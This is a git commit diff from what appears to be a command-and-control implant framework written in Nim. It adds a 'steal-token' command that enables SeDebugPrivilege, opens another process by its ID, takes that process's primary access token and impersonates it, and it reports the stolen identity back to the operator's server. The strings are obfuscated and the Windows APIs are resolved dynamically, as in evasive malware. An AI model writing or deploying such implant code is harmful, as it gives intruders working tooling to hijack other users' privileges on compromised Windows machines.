Implemented 'steal-token' command.

This commit is contained in:
Jakob Friedl
2025-10-19 20:06:40 +02:00
parent a4f37b5ceb
commit 2e18decb6d
3 changed files with 90 additions and 15 deletions

View File

@@ -23,6 +23,7 @@ type
NtDuplicateToken = proc(existingTokenHandle: HANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, effectiveOnly: BOOLEAN, tokenType: TOKEN_TYPE, newTokenHandle: PHANDLE): NTSTATUS {.stdcall.}
NtAdjustPrivilegesToken = proc(hToken: HANDLE, disableAllPrivileges: BOOLEAN, newState: PTOKEN_PRIVILEGES, bufferLength: ULONG, previousState: PTOKEN_PRIVILEGES, returnLength: PULONG): NTSTATUS {.stdcall.}
NtClose = proc(handle: HANDLE): NTSTATUS {.stdcall.}
NtOpenProcess = proc(hProcess: PHANDLE, desiredAccess: ACCESS_MASK, oa: PCOBJECT_ATTRIBUTES, clientId: PCLIENT_ID): NTSTATUS {.stdcall.}
Apis = object
NtOpenProcessToken: NtOpenProcessToken
@@ -31,8 +32,9 @@ type
ConvertSidToSTringSidA: ConvertSidToSTringSidA
NtSetInformationThread: NtSetInformationThread
NtDuplicateToken: NtDuplicateToken
NtAdjustPrivilegesToken: NtAdjustPrivilegesToken
NtClose: NtClose
NtAdjustPrivilegesToken: NtAdjustPrivilegesToken
NtOpenProcess: NtOpenProcess
proc initApis(): Apis =
let hNtdll = GetModuleHandleA(protect("ntdll"))
@@ -45,7 +47,7 @@ proc initApis(): Apis =
result.NtDuplicateToken = cast[NtDuplicateToken](GetProcAddress(hNtdll, protect("NtDuplicateToken")))
result.NtClose = cast[NtClose](GetProcAddress(hNtdll, protect("NtClose")))
result.NtAdjustPrivilegesToken = cast[NtAdjustPrivilegesToken](GetProcAddress(hNtdll, protect("NtAdjustPrivilegesToken")))
result.NtOpenProcess = cast[NtOpenProcess](GetProcAddress(hNtdll, protect("NtOpenProcess")))
const
CURRENT_PROCESS = cast[HANDLE](-1)
@@ -138,6 +140,18 @@ proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
var
status: NTSTATUS = 0
returnLength: ULONG = 0
pElevation: TOKEN_ELEVATION
status = apis.NtQueryInformationToken(hToken, tokenElevation, addr pElevation, cast[ULONG](sizeof(pElevation)), addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Elevation ") & $status.toHex())
return cast[bool](pElevation.TokenIsElevated)
proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
var
status: NTSTATUS = 0
@@ -199,12 +213,15 @@ proc getTokenInfo*(hToken: HANDLE): string =
let apis = initApis()
let (tokenId, tokenType) = apis.getTokenStatistics(hToken)
result &= fmt"TokenID: 0x{tokenId}" & "\n"
result &= fmt"Type: {tokenType}" & "\n"
result &= fmt"TokenID: 0x{tokenId}" & "\n"
result &= fmt"Type: {tokenType}" & "\n"
let (username, sid) = apis.getTokenUser(hToken)
result &= fmt"User: {username}" & "\n"
result &= fmt"SID: {sid}" & "\n"
result &= fmt"User: {username}" & "\n"
result &= fmt"SID: {sid}" & "\n"
let isElevated = apis.getTokenElevation(hToken)
result &= fmt"Elevated: {$isElevated}" & "\n"
result &= apis.getTokenGroups(hToken )
result &= apis.getTokenPrivileges(hToken)
@@ -292,14 +309,11 @@ proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_L
if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE:
raise newException(CatchableError, $GetLastError())
defer: discard apis.NtClose(hToken)
apis.impersonate(hToken)
return apis.getTokenUser(hToken).username
proc stealToken*(pid: int): bool =
discard
proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
let apis = initApis()
@@ -327,4 +341,42 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
raise newException(CatchableError, protect("NtAdjustPrivilegesToken ") & $status.toHex())
let action = if enable: protect("Enabled") else: protect("Disabled")
return fmt"{action} {apis.privilegeToString(addr luid)}."
return fmt"{action} {apis.privilegeToString(addr luid)}."
#[
Steal the access token of a remote process
]#
proc stealToken*(pid: int): string =
let apis = initApis()
var
status: NTSTATUS
hProcess: HANDLE
hToken: HANDLE
clientId: CLIENT_ID
oa: OBJECT_ATTRIBUTES
# Enable the SeDebugPrivilege in the current token
# This privilege is required in order to duplicate and impersonate the access token of a remote process
discard enablePrivilege(protect("SeDebugPrivilege"))
InitializeObjectAttributes(addr oa, NULL, 0, 0, NULL)
clientId.UniqueProcess = cast[HANDLE](pid)
clientId.UniqueThread = 0
# Open a handle to the target process
status = apis.NtOpenProcess(addr hProcess, PROCESS_QUERY_INFORMATION, addr oa, addr clientId)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtOpenProcess ") & $status.toHex())
defer: discard apis.NtClose(hProcess)
# Open a handle to the primary access token of the target process
status = apis.NtOpenProcessToken(hProcess, TOKEN_DUPLICATE or TOKEN_ASSIGN_PRIMARY or TOKEN_QUERY, addr hToken)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex())
defer: discard apis.NtClose(hToken)
apis.impersonate(hToken)
return apis.getTokenUser(hToken).username

View File

@@ -2,6 +2,7 @@ import ../common/[types, utils]
# Define function prototype
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult
proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult
proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult
proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult
@@ -26,6 +27,16 @@ let module* = Module(
],
execute: executeMakeToken
),
Command(
name: protect("steal-token"),
commandType: CMD_STEAL_TOKEN,
description: protect("Steal the primary access token of a remote process."),
example: protect("steal-token 1234"),
arguments: @[
Argument(name: protect("pid"), description: protect("Process ID of the target process."), argumentType: INT, isRequired: true),
],
execute: executeStealToken
),
Command(
name: protect("rev2self"),
commandType: CMD_REV2SELF,
@@ -68,6 +79,7 @@ let module* = Module(
# Implement execution functions
when not defined(agent):
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult = nil
@@ -84,7 +96,6 @@ when defined(agent):
try:
echo fmt" [>] Creating access token from username and password."
var success: bool
var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS
var
username = Bytes.toString(task.args[0].data)
@@ -106,6 +117,18 @@ when defined(agent):
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Stealing access token."
let pid = int(Bytes.toUint32(task.args[0].data))
let username = stealToken(pid)
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}."))
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Reverting access token."

View File

@@ -102,8 +102,8 @@ proc handleResult*(resultData: seq[byte]) =
# Handle additional actions or UI-events based on command type (only when command succeeded)
case cast[CommandType](taskResult.command):
of CMD_MAKE_TOKEN:
let impersonationToken: string = Bytes.toString(taskResult.data).split(" ")[1][0..^2] # Remove trailing '.' character from the domain\username string
of CMD_MAKE_TOKEN, CMD_STEAL_TOKEN:
let impersonationToken: string = Bytes.toString(taskResult.data).split(" ", 1)[1..^1].join(" ")[0..^2] # Remove trailing '.' character from the domain\username string
if cq.dbUpdateTokenImpersonation(agentId, impersonationToken):
cq.agents[agentId].impersonationToken = impersonationToken
cq.client.sendImpersonateToken(agentId, impersonationToken)